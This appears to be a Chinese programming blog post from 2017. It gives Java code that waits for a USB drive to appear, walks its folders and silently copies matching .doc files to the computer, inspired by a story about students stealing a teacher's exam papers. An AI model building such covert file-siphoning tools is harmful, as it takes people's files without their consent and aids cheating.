美文网首页资源干货好玩的代码
拷贝U盘里的文件到电脑 - 好玩的代码

拷贝U盘里的文件到电脑 - 好玩的代码

作者: 野狗道人闯红灯 | 来源:发表于2017-04-03 16:16 被阅读78次

在大一将近考试的时候,听王金亮王老师讲学生考试作弊的事。其中讲了一个小故事挺有意思,一般教室里都会有一台电脑,老师来上课的时候一般就把自己的课件放在自己U盘里然后带过来,插到电脑里就可以讲课了,然后有学生就想写个程序把老师U盘里的试卷给拷出来。当然老师讲的时候顺便也说了,他的U盘有加固加密啥的,不会被拷出去。这里呢,我就把这个小程序写出来。

思路

  1. 把文件从U盘拷进电脑,说到底就是文件复制粘贴,不同的是这件事由程序来做。
  2. 复制粘贴的前提是遍历U盘的所有文件找到合适的,遍历的过程中,如果是文件夹就继续遍历,如果是文件就进行处理。
  3. 还要考虑的事情是时刻监听是否有U盘插入,如果有U盘插入,立即启动文件复制。
  4. 然后要考虑的事情是对方U盘里的东西实在太多,太大,在有限时间内如果先复制了无用的东西,就有可能耽误了比较重要的事情。

总结:先看是否插了U盘,插了的话就遍历U盘里的所有文件,查看是否匹配,匹配了就转移到电脑里。

实现

文件拷贝

设置好源文件位置,设置好目的文件位置就可以复制了。

     //转移操作
    private static void transfer(String sourceDir, String targetDir, String filename) {
        try {

            File target = new File(targetDir + filename);
            File source = new File(sourceDir + filename);

            //Files类超级强大
            Files.copy(source.toPath(), target.toPath(), StandardCopyOption.REPLACE_EXISTING, StandardCopyOption.COPY_ATTRIBUTES);
        } catch (Exception e) {
            e.printStackTrace();

        }
    }

监听操作

这个需要事先看好插入U盘之后显示的盘符是什么,如果该盘符存在了,则说明U盘插进来了。然后检查操作每十秒执行一次。

public static void main(String[] args) {
        
        while(true) {
            
            try{
                File sourceFile = new File(sourceFileStr);
                if(sourceFile.exists()) {
                    traverse(sourceFile);
                    break;
                }
                System.out.println("hello");
                Thread.sleep(1000 * 10);
            }catch(InterruptedException e) {
                e.printStackTrace();
            } 
        }
    }

遍历U盘、匹配文件类型

这里就看文件后缀,如果你想要文档的话,就限定.doc、.docx、.ppt、.xls 、.xlsx等,如果想要图片就找图片的后缀等等。

private static void traverse(File root) {
        if (root.isDirectory()) {
            File[] qsqList = root.listFiles();
            for (File file:qsqList) {
                traverse(file);
            }
        }
        else {
            String regex = "[\\S]+.doc";
            Pattern pattern = Pattern.compile(regex);
            Matcher matcher = pattern.matcher(root.toString());
            if (matcher.matches()) {
                System.out.println(root.toString());

                int index = root.toString().lastIndexOf("/");
                String filename = root.toString().substring(index,root.toString().length());
                String sourceDir = root.toString().substring(0, index);
                transfer(sourceDir, targetFileStr, filename);
            }
        }
    }

最后

好吧,听起来很牛逼,实际上也就这么回事。打完收工~

相关文章

网友评论

    本文标题:拷贝U盘里的文件到电脑 - 好玩的代码

    本文链接:https://www.haomeiwen.com/subject/ldqoottx.html